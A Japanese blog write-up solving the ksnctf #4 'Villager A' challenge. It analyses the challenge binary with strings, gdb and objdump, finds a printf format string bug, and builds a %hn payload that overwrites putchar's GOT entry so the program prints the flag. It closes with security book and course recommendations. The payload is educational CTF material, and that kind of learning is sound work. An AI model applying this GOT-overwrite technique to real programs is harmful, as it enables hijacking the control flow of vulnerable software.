ksnctf #4 “Villager A”を解く
Problem
下記の情報が与えられており、ここからFLAG_?????を得る。
ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8
Solution
とりあえずTerminalでsshでログインする。
% ssh q4@ctfq.u1tramarine.blue -p 10004
なぜかフリーズしてできなかったので、vagrantでUbuntuを立ち上げてログインする。
% vagrant up
% vagrant ssh
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-74-generic x86_64)
$ ssh q4@ctfq.u1tramarine.blue -p 10004
q4@ctfq.u1tramarine.blue's password:
[q4@eceec62b961b ~]$ ls
flag.txt q4
[q4@eceec62b961b ~]$ ./q4
What's your name?
Tomoki
Hi, Tomoki
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
まず、stringsコマンドでバイナリファイルの可読部分かつ英語で始まるものを表示する。
$ strings ./q4 | grep \^[a-zA-Z]
libstdc++.so.6
libm.so.6
libgcc_s.so.1
libc.so.6
fopen
puts
putchar
stdin
printf
fgets
strcmp
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
What's your name?
Hi,
Do you want the flag?
I see. Good bye.
flag.txt
GCC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3)
crtstuff.c
completed.5972
dtor_idx.5974
frame_dummy
q4.cpp
data_start
putchar@@GLIBC_2.0
fgets@@GLIBC_2.0
fopen@@GLIBC_2.1
printf@@GLIBC_2.0
stdin@@GLIBC_2.0
puts@@GLIBC_2.0
strcmp@@GLIBC_2.0
main
21行目にflag.txtがあることが分かる。また6行目に
gdbを使って、q4をアセンブリで見てみる
[q4@eceec62b961b ~]$ gdb -q q4
(gdb) disass main
Dump of assembler code for function main:
0x080485b4 <+0>: push %ebp
0x080485b5 <+1>: mov %esp,%ebp
0x080485b7 <+3>: and $0xfffffff0,%esp
0x080485ba <+6>: sub $0x420,%esp
0x080485c0 <+12>: movl $0x80487a4,(%esp)
0x080485c7 <+19>: call 0x80484c4 <puts@plt>
0x080485cc <+24>: mov 0x8049a04,%eax
0x080485d1 <+29>: mov %eax,0x8(%esp)
0x080485d5 <+33>: movl $0x400,0x4(%esp)
0x080485dd <+41>: lea 0x18(%esp),%eax
0x080485e1 <+45>: mov %eax,(%esp)
0x080485e4 <+48>: call 0x8048484 <fgets@plt>
0x080485e9 <+53>: movl $0x80487b6,(%esp)
0x080485f0 <+60>: call 0x80484b4 <printf@plt>
0x080485f5 <+65>: lea 0x18(%esp),%eax
0x080485f9 <+69>: mov %eax,(%esp)
0x080485fc <+72>: call 0x80484b4 <printf@plt>
0x08048601 <+77>: movl $0xa,(%esp)
0x08048608 <+84>: call 0x8048474 <putchar@plt>
0x0804860d <+89>: movl $0x1,0x418(%esp)
0x08048618 <+100>: jmp 0x8048681 <main+205>
0x0804861a <+102>: movl $0x80487bb,(%esp)
0x08048621 <+109>: call 0x80484c4 <puts@plt>
0x08048626 <+114>: mov 0x8049a04,%eax
0x0804862b <+119>: mov %eax,0x8(%esp)
0x0804862f <+123>: movl $0x400,0x4(%esp)
0x08048637 <+131>: lea 0x18(%esp),%eax
0x0804863b <+135>: mov %eax,(%esp)
0x0804863e <+138>: call 0x8048484 <fgets@plt>
0x08048643 <+143>: test %eax,%eax
0x08048645 <+145>: sete %al
0x08048648 <+148>: test %al,%al
0x0804864a <+150>: je 0x8048656 <main+162>
0x0804864c <+152>: mov $0x0,%eax
0x08048651 <+157>: jmp 0x80486dc <main+296>
0x08048656 <+162>: movl $0x80487d1,0x4(%esp)
0x0804865e <+170>: lea 0x18(%esp),%eax
0x08048662 <+174>: mov %eax,(%esp)
0x08048665 <+177>: call 0x80484e4 <strcmp@plt>
0x0804866a <+182>: test %eax,%eax
0x0804866c <+184>: jne 0x8048681 <main+205>
0x0804866e <+186>: movl $0x80487d5,(%esp)
0x08048675 <+193>: call 0x80484c4 <puts@plt>
0x0804867a <+198>: mov $0x0,%eax
0x0804867f <+203>: jmp 0x80486dc <main+296>
0x08048681 <+205>: mov 0x418(%esp),%eax
0x08048688 <+212>: test %eax,%eax
0x0804868a <+214>: setne %al
0x0804868d <+217>: test %al,%al
0x0804868f <+219>: jne 0x804861a <main+102>
--Type <RET> for more, q to quit, c to continue without paging--
0x08048691 <+221>: movl $0x80487e6,0x4(%esp)
0x08048699 <+229>: movl $0x80487e8,(%esp)
0x080486a0 <+236>: call 0x80484a4 <fopen@plt>
0x080486a5 <+241>: mov %eax,0x41c(%esp)
0x080486ac <+248>: mov 0x41c(%esp),%eax
0x080486b3 <+255>: mov %eax,0x8(%esp)
0x080486b7 <+259>: movl $0x400,0x4(%esp)
0x080486bf <+267>: lea 0x18(%esp),%eax
0x080486c3 <+271>: mov %eax,(%esp)
0x080486c6 <+274>: call 0x8048484 <fgets@plt>
0x080486cb <+279>: lea 0x18(%esp),%eax
0x080486cf <+283>: mov %eax,(%esp)
0x080486d2 <+286>: call 0x80484b4 <printf@plt>
0x080486d7 <+291>: mov $0x0,%eax
0x080486dc <+296>: leave
0x080486dd <+297>: ret
End of assembler dump.
57行目にfopen()があるが、53行目にジャンプ命令jneがあるのでこの処理は実行されていない。
printf()があるので書式文字列攻撃ができるか試してみる。
[q4@eceec62b961b ~]$ echo 'aaaa %x %x %x %x %x %x %x' | ./q4
What's your name?
Hi, aaaa 400 f7d0b580 ffcdbff8 6 0 61616161 20782520
Do you want the flag?
[q4@eceec62b961b ~]$ echo 'abcd %x %x %x %x %x %x %x' | ./q4
What's your name?
Hi, abcd 400 f7cc2580 ffe5ec28 6 0 64636261 20782520
Do you want the flag?
[q4@eceec62b961b ~]$ echo 'aaaabbbb %x %x %x %x %x %x %x' | ./q4
What's your name?
Hi, aaaabbbb 400 f7cf1580 ffc62988 6 0 61616161 62626262
Do you want the flag?
[q4@eceec62b961b ~]$ echo -e "\x1 %x %x %x %x %x %x %x %x " | ./q4
What's your name?
Hi, 400 f7d0b580 ffc24b78 6 0 78252001 20782520 25207825
Do you want the flag?
書式文字列攻撃が可能だということが分かる。ここでaaaaは61616161と出力されているのでスタックの6番目に格納されていることがわかる。(ASCII文字コードでaは61)。また、リトルエディアンなのでabcdのときは64636261となる。
呼び出される関数のアドレスとの値を書き換えればよいのだが、今回はputchar()のアドレスを書き換える。
main以外のアセンブリを表示したいので、objdumpで表示する。
[q4@eceec62b961b ~]$ objdump -d -M intel ./q4
mainのputchar()の部分を抜き出す。
8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1
ここで8048474番地のputchar()が呼ばれている。
8048474番地以降のputchar()の処理の部分も抜き出す。
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp DWORD PTR ds:0x80499e0
804847a: 68 08 00 00 00 push 0x8
804847f: e9 d0 ff ff ff jmp 8048454 <.plt>
0x80499e0番地の値を参照し、そこにジャンプしている。この0x80499e0をfopen()を呼び出す直前のアドレスに書き換えればよい。
ここでホストは32bitアーキテクチャなので0x80499e0から4byte(32bit)を参照する。
fopen()は以下の0x08048691番地から行われる。
8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6
8048698: 08
8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt>
これらを踏まえ、変換指定子%hnを使って書式文字列攻撃を行う。%hnは下位2byteに対して書き込むことができ、リトルエディアンなので0x80499e0は\xe0\x99\x04\x08となる。
下記のようにすると指定子8byteと%34441xで34441byteで下位ビットに0x8691(34449)が入る。0x1084になるとオーバーフローで0x804となり、上位ビットには3319byte出力すればよい。
$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4
これは%hnを使わずに表すと
echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4
のようになる。
これでFLAGを得ることができた。
CTF, セキュリティの参考資料
Udemy
個人的にUdemyが動画で分かりやすいし、値段も安いのでおすすめです。
実践的なものが特に役立ちます。
ホワイトハッカー養成講座(ハッキングツール、Webアプリ攻略、不正侵入検知)
ホワイトハッカー養成講座 (インシデントハンドリング&Windowsアタック編)
書籍
- セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
- セキュリティコンテストのためのCTF問題集
- デバッガによるx86プログラム解析入門
- リバースエンジニアリングバイブル
- 大熱血アセンブラ入門
- 楽しいバイナリの歩き方
- Reverse Engineering for Beginners
- HACKING: 美しき策謀
- 秘密の国のアリス
- 暗号解読
- 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版
コメント